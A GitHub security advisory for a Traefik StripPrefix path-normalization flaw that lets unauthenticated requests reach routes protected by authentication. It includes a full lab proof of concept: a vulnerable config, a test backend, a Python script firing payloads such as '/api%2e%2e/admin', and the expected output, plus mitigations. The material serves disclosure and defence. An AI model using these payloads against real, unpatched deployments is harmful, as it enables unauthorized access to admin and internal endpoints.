Skip to content

Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization

High severity GitHub Reviewed Published Jun 5, 2026 in traefik/traefik • Updated Jun 11, 2026

Package

gomod github.com/traefik/traefik/v2 (Go)

Affected versions

< 2.11.48

Patched versions

2.11.48
gomod github.com/traefik/traefik/v3 (Go)
< 3.6.19
>= 3.7.0-ea.1, < 3.7.3
3.6.19
3.7.3

Description

Summary

There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description

Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)

Summary

A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.

A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.

This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.

This report specifically affects StripPrefix.

Affected Versions Tested

Image Observed Version Result
traefik:v2.11 v2.11.46 Affected
traefik:v3.6 v3.6.17 Affected
traefik:latest v3.7.1 Affected

Lab Contrast

Image Result
traefik:v2.10 Not reproduced in lab
traefik:v3.5 Not reproduced in lab

Vulnerable Configuration Pattern

The issue appears when:

  • a broad public route strips a prefix
  • while a separate protected route is intended to guard internal/admin paths
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

Observed Behavior

Direct Protected Paths

These are correctly blocked.

Request Expected Observed
GET /admin Blocked 401
GET /internal/config Blocked 401

Expected Public Exclusions

These do not expose protected backend paths.

Request Expected Observed
GET /api/admin Not routed to protected backend path 404
GET /api/internal/config Not routed to protected backend path 404

Bypass Payloads

These reach protected backend paths.

Request Observed Status Backend Receives
GET /api../admin 200 /admin
GET /api%2e%2e/admin 200 /admin
GET /api../internal/config 200 /internal/config
GET /api%2e%2e/internal/config 200 /internal/config

Minimal PoC

docker-compose.yml

services:
  traefik:
    image: traefik:v3.7
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:8080
      - --accesslog=true
    ports:
      - "127.0.0.1:18080:8080"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    depends_on:
      - backend

  backend:
    image: python:3.12-slim
    working_dir: /app
    command: python backend.py
    volumes:
      - ./backend.py:/app/backend.py:ro
    expose:
      - "9000"

dynamic.yml

http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

backend.py

from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _json(self, status, obj):
        body = json.dumps(obj).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path == "/admin":
            self._json(200, {
                "seen_path": self.path,
                "secret": "ADMIN_SECRET_REACHED"
            })
        elif self.path == "/internal/config":
            self._json(200, {
                "seen_path": self.path,
                "secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
            })
        elif self.path == "/admin/exec":
            self._json(200, {
                "seen_path": self.path,
                "rce_chain_marker": True,
                "note": "protected execution endpoint reached"
            })
        else:
            self._json(404, {
                "seen_path": self.path,
                "secret": None
            })

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

poc.py

#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [
    "/admin",
    "/internal/config",
    "/api/admin",
    "/api/internal/config",
    "/api../admin",
    "/api%2e%2e/admin",
    "/api../internal/config",
    "/api%2e%2e/internal/config",
    "/admin/exec",
    "/api/admin/exec",
    "/api../admin/exec",
    "/api%2e%2e/admin/exec",
]

for path in PATHS:
    req = Request(BASE + path)
    try:
        with urlopen(req, timeout=5) as r:
            status = r.status
            body = r.read().decode(errors="replace")
    except HTTPError as e:
        status = e.code
        body = e.read().decode(errors="replace")

    print(f"{path:28} {status} {body[:180]}")

Run

docker compose up -d
python3 poc.py

Expected Vulnerable Output

/admin                       401
/internal/config             401
/api/admin                   404
/api/internal/config         404
/api../admin                 200  backend seen_path=/admin
/api%2e%2e/admin             200  backend seen_path=/admin
/api../internal/config       200  backend seen_path=/internal/config
/api%2e%2e/internal/config   200  backend seen_path=/internal/config
/api../admin/exec            200  protected execution endpoint reached
/api%2e%2e/admin/exec        200  protected execution endpoint reached

Root Cause Hypothesis

The vulnerable behavior appears to be caused by path normalization after prefix stripping.

Incoming path:              /api../admin
After StripPrefix("/api"):  /../admin
After JoinPath():           /admin

The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.

The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.

Security Impact

An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.

Potential impact includes:

  • Access to protected admin paths
  • Access to internal configuration endpoints
  • Exposure of secrets returned by internal backends
  • Access to protected backend management functionality
  • Conditional RCE if the protected backend exposes an execution primitive

In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.

This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.

Suggested Severity

Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.

If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.

Weakness

Primary CWE:

  • CWE-863: Incorrect Authorization

Related weakness candidates:

  • CWE-180: Incorrect Behavior Order: Validate Before Canonicalize
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Mitigation Verified in Lab

The bypass was blocked when using a stricter prefix boundary:

PathRegexp(`^/api(/|$)`)

or:

PathPrefix(`/api/`) with StripPrefix(`/api/`)

Relation to Existing Advisories

This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.

This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.

Reporter

WonYun / kyun0

### References - https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2 - https://github.com/traefik/traefik/releases/tag/v2.11.48 - https://github.com/traefik/traefik/releases/tag/v3.6.19 - https://github.com/traefik/traefik/releases/tag/v3.7.3
@nmengin nmengin published to traefik/traefik Jun 5, 2026
Published to the GitHub Advisory Database Jun 11, 2026
Reviewed Jun 11, 2026
Last updated Jun 11, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

EPSS score

Weaknesses

Authentication Bypass Using an Alternate Path or Channel

The product requires authentication, but the product has an alternate path or channel that does not require authentication. Learn more on MITRE.

CVE ID

CVE-2026-48020

GHSA ID

GHSA-xf64-8mw2-4gr2

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.